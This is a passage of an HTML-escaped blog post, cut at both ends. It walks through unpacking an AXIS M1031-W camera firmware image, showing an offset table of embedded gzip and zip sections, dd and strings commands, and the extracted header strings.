&lt;div id=&quot;codeSnippetWrapper&quot; style=&quot;background-color: #f4f4f4; border-bottom: silver 1px solid; border-left: silver 1px solid; border-right: silver 1px solid; border-top: silver 1px solid; cursor: text; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 20px 0px 10px; max-height: 200px; overflow: auto; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px; text-align: left; width: 97.5%;&quot;&gt;&lt;br /&gt;
&lt;div id=&quot;codeSnippet&quot; style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum1&quot; style=&quot;color: #606060;&quot;&gt;   1:&lt;/span&gt;&amp;nbsp; &lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum2&quot; style=&quot;color: #606060;&quot;&gt;   2:&lt;/span&gt; DECIMAL         HEX             DESCRIPTION&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum3&quot; style=&quot;color: #606060;&quot;&gt;   3:&lt;/span&gt; -------------------------------------------------------------------------------------------------------&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum4&quot; style=&quot;color: #606060;&quot;&gt;   4:&lt;/span&gt; 95704           0x175D8         gzip compressed data, from Unix, last modified: Mon Oct 25 14:03:18 2010, max compression&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum5&quot; style=&quot;color: #606060;&quot;&gt;   5:&lt;/span&gt;&amp;nbsp; &lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum6&quot; style=&quot;color: #606060;&quot;&gt;   6:&lt;/span&gt; 9443925         0x901A55        Zip archive data,  at least v2.0 to extract&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum7&quot; style=&quot;color: #606060;&quot;&gt;   7:&lt;/span&gt; 9444533         0x901CB5        Zip archive data,  at least v2.0 to extract&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum8&quot; style=&quot;color: #606060;&quot;&gt;   8:&lt;/span&gt; 9449893         0x9031A5        Zip archive data,  at least v2.0 to extract&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum9&quot; style=&quot;color: #606060;&quot;&gt;   9:&lt;/span&gt; 9450294         0x903336        Zip archive data,  at least v2.0 to extract&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum10&quot; style=&quot;color: #606060;&quot;&gt;  10:&lt;/span&gt; 9470202         0x9080FA        Zip archive data,  at least v2.0 to extract&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum11&quot; style=&quot;color: #606060;&quot;&gt;  11:&lt;/span&gt; 9471043         0x908443        Zip archive data,  at least v2.0 to extract&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum12&quot; style=&quot;color: #606060;&quot;&gt;  12:&lt;/span&gt; 9484593         0x90B931        Zip archive data,  at least v2.0 to extract&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum13&quot; style=&quot;color: #606060;&quot;&gt;  13:&lt;/span&gt; 9485547         0x90BCEB        Zip archive data,  at least v2.0 to extract&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum14&quot; style=&quot;color: #606060;&quot;&gt;  14:&lt;/span&gt; 9486419         0x90C053        Zip archive data,  at least v2.0 to extract&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum15&quot; style=&quot;color: #606060;&quot;&gt;  15:&lt;/span&gt; 9497953         0x90ED61        Zip archive data,  at least v2.0 to extract&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum16&quot; style=&quot;color: #606060;&quot;&gt;  16:&lt;/span&gt; 9499916         0x90F50C        Zip archive data,  at least v2.0 to extract&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;
Starting with the gzip section, we can verify the signature, &lt;br /&gt;
&lt;br /&gt;
&lt;div id=&quot;codeSnippetWrapper&quot; style=&quot;background-color: #f4f4f4; border-bottom: silver 1px solid; border-left: silver 1px solid; border-right: silver 1px solid; border-top: silver 1px solid; cursor: text; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 20px 0px 10px; max-height: 200px; overflow: auto; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px; text-align: left; width: 97.5%;&quot;&gt;&lt;br /&gt;
&lt;div id=&quot;codeSnippet&quot; style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum1&quot; style=&quot;color: #606060;&quot;&gt;   1:&lt;/span&gt; dd &lt;span style=&quot;color: blue;&quot;&gt;if&lt;/span&gt;=AXIS_M1031-W.bin bs=1 skip=95704 2&amp;gt;/dev/null | file -     &lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum2&quot; style=&quot;color: #606060;&quot;&gt;   2:&lt;/span&gt; /dev/stdin: gzip compressed data, from Unix, last modified: Mon Oct 25 14:03:18 2010, max compression&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;
A point of start for the moment there, let’s extract the header of the file first and we will proceed later with the gzip section.&lt;br /&gt;
&lt;br /&gt;
&lt;div id=&quot;codeSnippetWrapper&quot; style=&quot;background-color: #f4f4f4; border-bottom: silver 1px solid; border-left: silver 1px solid; border-right: silver 1px solid; border-top: silver 1px solid; cursor: text; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 20px 0px 10px; max-height: 200px; overflow: auto; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px; text-align: left; width: 97.5%;&quot;&gt;&lt;br /&gt;
&lt;div id=&quot;codeSnippet&quot; style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum1&quot; style=&quot;color: #606060;&quot;&gt;   1:&lt;/span&gt; root@system:~/axis/analysis# dd &lt;span style=&quot;color: blue;&quot;&gt;if&lt;/span&gt;=AXIS_M1031-W.bin bs=1 count=95704 of=header_before.gzip.section&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum2&quot; style=&quot;color: #606060;&quot;&gt;   2:&lt;/span&gt; 95704+0 records in&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum3&quot; style=&quot;color: #606060;&quot;&gt;   3:&lt;/span&gt; 95704+0 records out&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum4&quot; style=&quot;color: #606060;&quot;&gt;   4:&lt;/span&gt; 95704 bytes (96 kB) copied, 1.86194 s, 51.4 kB/s&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum5&quot; style=&quot;color: #606060;&quot;&gt;   5:&lt;/span&gt; root@system:~/axis/analysis# file header_before.gzip.section &lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum6&quot; style=&quot;color: #606060;&quot;&gt;   6:&lt;/span&gt; header_before.gzip.section: data&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum7&quot; style=&quot;color: #606060;&quot;&gt;   7:&lt;/span&gt; root@system:~/axis/analysis# strings header_before.gzip.section &amp;gt; header.str&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum8&quot; style=&quot;color: #606060;&quot;&gt;   8:&lt;/span&gt; root@system:~/axis/analysis# less header.str &lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum9&quot; style=&quot;color: #606060;&quot;&gt;   9:&lt;/span&gt; &amp;lt;...&amp;gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum10&quot; style=&quot;color: #606060;&quot;&gt;  10:&lt;/span&gt;&amp;nbsp; &lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum11&quot; style=&quot;color: #606060;&quot;&gt;  11:&lt;/span&gt; NAND 2GiB 3,3V 8-bit&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum12&quot; style=&quot;color: #606060;&quot;&gt;  12:&lt;/span&gt; NAND 2GiB 1,8V 16-bit&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum13&quot; style=&quot;color: #606060;&quot;&gt;  13:&lt;/span&gt; NAND 2GiB 3,3V 16-bit&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum14&quot; style=&quot;color: #606060;&quot;&gt;  14:&lt;/span&gt; AND 128MiB 3,3V 8-bit&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum15&quot; style=&quot;color: #606060;&quot;&gt;  15:&lt;/span&gt;          gUp&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum16&quot; style=&quot;color: #606060;&quot;&gt;  16:&lt;/span&gt; 9j&quot;\&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum17&quot; style=&quot;color: #606060;&quot;&gt;  17:&lt;/span&gt; 9i2\ &lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum18&quot; style=&quot;color: #606060;&quot;&gt;  18:&lt;/span&gt; 40K%&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum19&quot; style=&quot;color: #606060;&quot;&gt;  19:&lt;/span&gt;  -- System halted&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum20&quot; style=&quot;color: #606060;&quot;&gt;  20:&lt;/span&gt; ran out of input data&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum21&quot; style=&quot;color: #606060;&quot;&gt;  21:&lt;/span&gt; Malloc error&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum22&quot; style=&quot;color: #606060;&quot;&gt;  22:&lt;/span&gt; Out of memory&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum23&quot; style=&quot;color: #606060;&quot;&gt;  23:&lt;/span&gt; incomplete literal tree&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum24&quot; style=&quot;color: #606060;&quot;&gt;  24:&lt;/span&gt; incomplete distance tree&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum25&quot; style=&quot;color: #606060;&quot;&gt;  25:&lt;/span&gt; bad gzip magic numbers&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum26&quot; style=&quot;color: #606060;&quot;&gt;  26:&lt;/span&gt; internal error, invalid method&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum27&quot; style=&quot;color: #606060;&quot;&gt;  27:&lt;/span&gt; Input is encrypted&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum28&quot; style=&quot;color: #606060;&quot;&gt;  28:&lt;/span&gt; Multi part input&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum29&quot; style=&quot;color: #606060;&quot;&gt;  29:&lt;/span&gt; Input has invalid flags&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum30&quot; style=&quot;color: #606060;&quot;&gt;  30:&lt;/span&gt; invalid compressed format (err=1)&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum31&quot; style=&quot;color: #606060;&quot;&gt;  31:&lt;/span&gt; invalid compressed format (err=2)&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum32&quot; style=&quot;color: #606060;&quot;&gt;  32:&lt;/span&gt; out of memory&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum33&quot; style=&quot;color: #606060;&quot;&gt;  33:&lt;/span&gt; invalid compressed format (other)&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 